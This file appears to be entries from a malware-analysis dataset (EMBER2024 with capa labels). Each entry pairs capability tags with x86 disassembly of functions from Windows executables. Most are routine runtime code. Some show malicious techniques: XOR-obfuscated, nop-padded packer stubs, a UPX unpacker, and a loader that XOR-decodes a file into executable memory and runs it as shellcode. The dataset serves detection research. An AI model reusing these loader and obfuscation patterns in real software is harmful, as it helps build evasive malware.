joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4466f0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
push ecx
push edx
mov edi, dword [0x47a080]
add dword [0x47a088], eax
test dword [0x47a08c], 1
je 0x44671e
call fcn.00446762
mov ebx, dword [0x47a090]
cmp eax, ebx
jne 0x446750
jmp 0x446724
add dword [0x47a080], eax
mov ecx, dword [0x47a078]
mov esi, 0x474000
mov ebx, 0xffffffff
xor edx, edx
xor ecx, ebx
mov dl, byte [edi]
inc edi
xor dl, cl
shr ecx, 8
mov ebx, dword [esi + edx*4]
dec eax
jne 0x446736
not ebx
xor ecx, ebx
mov dword [0x47a078], ecx
pop edx
pop ecx
pop edi
pop esi
pop ebx
ret

Function at 0x44e3df
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x47cbd0
cmp edx, dword [eax]
je 0x44e401
add eax, 8
inc ecx
cmp eax, 0x47cc60
jl 0x44e3f2
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x47cbd0]
jne 0x44e52f
mov eax, dword [0x4ce738]
cmp eax, 1
je 0x44e509
test eax, eax
jne 0x44e432
cmp dword [0x47a0c4], 1
je 0x44e509
cmp edx, 0xfc
je 0x44e52f
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x44e469
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0044bb10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0044ca00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x44e4ac
lea eax, [ebp - 0x1a4]
push eax
call fcn.0044ca00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x45cce8
push edi
call fcn.0044fc70
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0044bb10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0044bb20
lea eax, [ebp - 0xa0]
push 0x45ccc8
push eax
call fcn.0044bb20
push dword [esi + 0x47cbd4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0044bb20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00450162
add esp, 0x2c
pop edi
jmp 0x44e52f
lea eax, [ebp + 8]
lea esi, [esi + 0x47cbd4]
push 0
push eax
push dword [esi]
call fcn.0044ca00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x451ea0
Capabilities:
Create thread

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
push esi
test dword [esi + 4], 0x10000
je 0x451f06
push 0
push fcn.00451f20
call fcn.0045b54c
add esp, 0xc
cmp eax, 0xffffffff
mov dword [esi + 0xac], eax
jne 0x451ed1
or eax, eax
pop edi
pop esi
pop ebx
ret
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add esi, 0x9c
push 1
push esi
call edi
cmp eax, 2
je 0x451efb
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x14
call ebx
push 1
push esi
call edi
cmp eax, 2
jne 0x451eed
push 2
push esi
call edi
xor eax, eax
pop edi
pop esi
pop ebx
ret
call fcn.00451f20
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
ret
Function at 0x452f70
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov eax, dword [esi]
cmp dword [eax + 0x88], edi
jne 0x4530a1
mov edx, dword [eax + 0x10]
lea ecx, [eax + 0x10]
cmp edx, edi
jne 0x452fab
cmp dword [eax + 0xc], edi
je 0x452fab
mov dword [esi + 0x3dc], 1
mov eax, dword [eax + 0xc]
push ecx
push 0x45cf20
mov edx, dword [eax]
push eax
call dword [edx]
mov ecx, esi
call fcn.00453500
mov dword [esi + 0x4c], eax
mov eax, dword [esi]
mov dword [eax + 0x1c], edi
mov ecx, dword [esi]
mov dword [ecx + 0x20], edi
mov edx, dword [esi]
mov eax, dword [edx + 4]
test ah, 8
jne 0x453037
mov ecx, esi
call fcn.004531a0
mov eax, dword [esi]
mov edx, dword [eax + 0x14]
lea ecx, [eax + 0x2c]
push ecx
mov ecx, dword [eax + 0x10]
call fcn.004530b0
mov eax, dword [esi]
cmp dword [eax + 0x48], 8
jne 0x453037
test dword [eax + 4], 0x4000000
jne 0x453037
push 0x400
call fcn.00448281
mov edx, dword [esi]
add esp, 4
mov dword [edx + 0x28], eax
mov eax, dword [esi]
push edi
mov ecx, dword [eax + 0x10]
lea edi, [eax + 0x24]
mov eax, dword [eax + 0x28]
push edi
mov edx, dword [ecx]
push eax
push 0x44
push ecx
call dword [edx + 0x14]
mov edx, dword [esi]
mov ecx, 0x100
xor eax, eax
mov edi, dword [edx + 0x28]
rep stosd dword es:[edi], eax
mov eax, dword [esi]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0x24]
push eax
push ecx
mov edx, dword [ecx]
call dword [edx + 0x7c]
mov eax, dword [esi]
test dword [eax + 4], 0x100000
jne 0x453049
mov dword [eax + 0x78], 0x64
mov ecx, esi
call fcn.00452a70
mov ecx, dword [esi]
mov edx, esi
add ecx, 0x2c
call fcn.004531f0
mov eax, 0xfffffe00
cmp eax, 0xffffff80
mov ecx, eax
jge 0x45306f
mov ecx, 0xffffff80
jmp 0x453079
cmp eax, 0x7f
jle 0x453079
mov ecx, 0x7f
lea edx, [eax - 0x180]
add ecx, 0x80
and edx, 0x3ff
inc eax
cmp eax, 0x200
mov dword [edx*4 + 0x4d3f30], ecx
jl 0x453061
mov dword [esi + 0x3c], 1
pop edi
pop esi
ret

Function at 0x455610
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push 1
lea eax, [esi + 0x3b8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push esi
push 0
push 0x4552f0
call fcn.0045b54c
add esp, 0xc
mov dword [esi + 0x3bc], eax
push 0xf
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [esi + 0x3bc]
xor eax, eax
test ecx, ecx
sete al
pop esi
ret
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x407ef8
nop
mov ecx, 0x3abe07f6
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section._RDATA
nop
mov ebx, 0x42cd70
mov ecx, 0x6b510bc
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x689880
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x20d000]
push edi
jmp 0x68989a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6898a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x689890
mov eax, 1
add ebx, ebx
jne 0x6898b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6898c4
jne 0x6898e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6898e3
dec eax
add ebx, ebx
jne 0x6898d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6898a8
add ebx, ebx
jne 0x6898df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x689935
xor ecx, ecx
sub eax, 3
jb 0x6898fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x68996a
sar eax, 1
mov ebp, eax
jmp 0x689906
add ebx, ebx
jne 0x689906
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6898d4
inc ecx
add ebx, ebx
jne 0x689914
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6898d4
add ebx, ebx
jne 0x689921
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x689916
jne 0x689932
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x689916
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x689954
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x689946
jmp 0x689896
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x689954
add edi, ecx
jmp 0x689896
pop esi
mov edi, esi
mov ecx, 0x277c4d
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x68998f
cmp byte [edi], 0x2c
jne 0x689974
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x689972
lea edi, [esi + 0x287000]
mov eax, dword [edi]
or eax, eax
je 0x6899e0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28b570]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x28b5ac]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x689995
mov ecx, edi
jns 0x6899c4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x28b5b4]
or eax, eax
je 0x6899da
mov dword [ebx], eax
add ebx, 4
jmp 0x6899b2
call dword [esi + 0x28b5b0]
mov ebp, dword [esi + 0x28b5b8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x689a14
sub esp, 0xffffff80
jmp 0x407410
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x204a3c96
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
mov ecx, 0x679a3773
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401070
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf19ac
call fcn.00420040
mov eax, dword [0x441630]
xor eax, esp
mov dword [esp + 0xf19a8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push edi
push 0
push 0
push 0
push 0
mov esi, ecx
call ebx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocStringLen
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
lea ecx, [esp + 0x20]
push ecx
push edi
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jbe 0x4010ef
xor byte [esp + eax + 0x14], 0x9c
inc eax
cmp eax, esi
jb 0x4010e5
push 0x40
push 0x3000
push 0xf19a0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0xf19a0
lea edx, [esp + 0x18]
mov esi, eax
push edx
push esi
call fcn.0041e7c0
add esp, 0xc
call dword [0x4452a4]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
mov ebx, eax
push edi
lea eax, [esp + 0x28]
push eax
call dword [0x44534c]
test eax, eax
je 0x401166
push 0xffffffffffffffff
push ebx
call dword [0x445350]
test eax, eax
je 0x401166
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call fcn.0041eb25
add esp, 8
mov ecx, dword [esp + 0xf19b4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041e438
add esp, 0xf19ac
ret

Function at 0x401180
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
mov eax, dword [0x441630]
xor eax, esp
mov dword [esp + 0x108], eax
push ebx
xor ebx, ebx
lea eax, [esp + 8]
push eax
push ebx
push ebx
push 0x23
push ebx
mov dword [esp + 0x18], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [esi + 0x18], 0xf
mov dword [esi + 0x14], ebx
mov byte [esi + 4], bl
test eax, eax
je 0x4011c4
push ebx
push 0x438744
jmp 0x4011df
lea eax, [esp + 8]
lea edx, [eax + 1]
jmp 0x4011d0
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4011d0
sub eax, edx
push eax
lea ecx, [esp + 0xc]
push ecx
mov ecx, esi
call fcn.00401660
mov ecx, dword [esp + 0x10c]
pop ebx
xor ecx, esp
mov eax, esi
call fcn.0041e438
add esp, 0x10c
ret
Function at 0x401200
Capabilities:
Copy file

Disassembly:
push 0xffffffffffffffff
push 0x431f31
mov eax, dword fs:[0]
push eax
sub esp, 0x168
mov eax, dword [0x441630]
xor eax, esp
mov dword [esp + 0x164], eax
push ebx
push esi
push edi
mov eax, dword [0x441630]
xor eax, esp
push eax
lea eax, [esp + 0x178]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x74]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
dec eax
cmp eax, ebx
jle 0x401271
mov cl, 0x5c
nop
cmp byte [esp + eax + 0x70], cl
je 0x40126d
dec eax
cmp eax, ebx
jg 0x401260
jmp 0x401271
mov byte [esp + eax + 0x71], bl
mov al, 0x74
lea edx, [esp + 0x64]
mov byte [esp + 0x69], al
mov byte [esp + 0x6b], al
push edx
lea eax, [esp + 0x74]
push eax
mov byte [esp + 0x6c], 0x61
mov byte [esp + 0x6d], 0x64
mov byte [esp + 0x6e], 0x6d
mov byte [esp + 0x6f], 0x65
mov byte [esp + 0x70], 0x2e
mov byte [esp + 0x72], 0x78
mov byte [esp + 0x74], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [esp + 0x10]
call fcn.00401180
push eax
mov edi, 0x438658
lea esi, [esp + 0x30]
mov dword [esp + 0x184], ebx
call fcn.004019a0
push eax
lea edi, [esp + 0x6c]
lea esi, [esp + 0x50]
mov byte [esp + 0x188], 1
call fcn.004019a0
add esp, 8
mov esi, 0x10
cmp dword [esp + 0x44], esi
jb 0x4012fd
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004024c3
add esp, 4
mov edi, 0xf
mov dword [esp + 0x44], edi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov byte [esp + 0x180], 4
cmp dword [esp + 0x28], esi
jb 0x401329
mov edx, dword [esp + 0x14]
push edx
call fcn.004024c3
add esp, 4
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x28], edi
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
cmp dword [esp + 0x60], esi
jae 0x401343
lea eax, [esp + 0x4c]
push ebx
push eax
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x70]
call fcn.00401070
cmp dword [esp + 0x60], esi
jb 0x40136c
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.004024c3
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x178]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.0041e438
add esp, 0x174
ret

Function at 0x402000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.004055f0

Function at 0x402070
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x402089
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4020c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4020c0
lea ebx, [ebx]
cmp esi, eax
jae 0x4020c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4020b0
cmp esi, eax
jb 0x4020ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x403f50
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x403f98
call fcn.00407283
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x403f98
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x403fdb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x403fc4
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x403fc4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x403fd8
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40d2d8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40d31f
call fcn.00407283
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40d31f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40d33b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040ce52
mov esi, eax
test edi, edi
je 0x40d339
test ebx, ebx
je 0x40d339
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40e57c
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x430f1d
call fcn.0041f2fc
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40e5a1
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40e5e7
lea ecx, [ebp - 0x10]
call fcn.00402450
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407907
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00402410
mov eax, esi
call fcn.0041f3d4
ret 8
Function at 0x41e438
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441630]
jne 0x41e442
repz ret
jmp fcn.00422f2f

Function at 0x42b691
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004230a7
and dword [ebp - 4], 0
cmp dword [0x445234], 0
mov ebx, eax
jne 0x42b742
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42b7f3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x437430
push edi
call esi
test eax, eax
je 0x42b7f3
push eax
call fcn.00423035
mov dword [esp], 0x437420
push edi
mov dword [0x445234], eax
call esi
push eax
call fcn.00423035
mov dword [esp], 0x43740c
push edi
mov dword [0x445238], eax
call esi
push eax
call fcn.00423035
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44523c], eax
call esi
push eax
call fcn.00423035
pop ecx
mov dword [0x445244], eax
test eax, eax
je 0x42b742
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00423035
pop ecx
mov dword [0x445240], eax
mov eax, dword [0x445240]
cmp eax, ebx
je 0x42b79a
cmp dword [0x445244], ebx
je 0x42b79a
push eax
call fcn.004230b0
push dword [0x445244]
mov esi, eax
call fcn.004230b0
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42b79a
test edi, edi
je 0x42b79a
call esi
test eax, eax
je 0x42b791
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42b791
test byte [ebp - 0xc], 1
jne 0x42b79a
or dword [ebp + 0x10], 0x200000
jmp 0x42b7d3
mov eax, dword [0x445238]
cmp eax, ebx
je 0x42b7d3
push eax
call fcn.004230b0
pop ecx
test eax, eax
je 0x42b7d3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42b7d3
mov eax, dword [0x44523c]
cmp eax, ebx
je 0x42b7d3
push eax
call fcn.004230b0
pop ecx
test eax, eax
je 0x42b7d3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x445234]
call fcn.004230b0
pop ecx
test eax, eax
je 0x42b7f3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42b7f5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x403f0f
Capabilities:
Encode data using xor

Disassembly:
wait
jle 0x403f00
jle 0x403f00
pop eax
invalid
wait
lodsd eax, dword [esi]
fst dword [0xa8153334]
je 0x403f02
rcl byte [esi - 0x45], cl
mov esi, 0xc51be6f9
les eax, [ecx - 0x48201009]
imul edx, ebx, 0x48f2af46
invalid
Function at 0x40110c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x815030]
jne 0x401116
repz ret
jmp fcn.00401b41

Function at 0x40a7e4
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405e85
and dword [ebp - 4], 0
cmp dword [0x817894], 0
mov ebx, eax
jne 0x40a895
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a946
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a946
push eax
call fcn.00405e13
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x817894], eax
call esi
push eax
call fcn.00405e13
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x817898], eax
call esi
push eax
call fcn.00405e13
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x81789c], eax
call esi
push eax
call fcn.00405e13
pop ecx
mov dword [0x8178a4], eax
test eax, eax
je 0x40a895
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405e13
pop ecx
mov dword [0x8178a0], eax
mov eax, dword [0x8178a0]
cmp eax, ebx
je 0x40a8ed
cmp dword [0x8178a4], ebx
je 0x40a8ed
push eax
call fcn.00405e8e
push dword [0x8178a4]
mov esi, eax
call fcn.00405e8e
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a8ed
test edi, edi
je 0x40a8ed
call esi
test eax, eax
je 0x40a8e4
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a8e4
test byte [ebp - 0xc], 1
jne 0x40a8ed
or dword [ebp + 0x10], 0x200000
jmp 0x40a926
mov eax, dword [0x817898]
cmp eax, ebx
je 0x40a926
push eax
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a926
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a926
mov eax, dword [0x81789c]
cmp eax, ebx
je 0x40a926
push eax
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a926
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x817894]
call fcn.00405e8e
pop ecx
test eax, eax
je 0x40a946
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a948
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x3c64733
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x701b651c
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219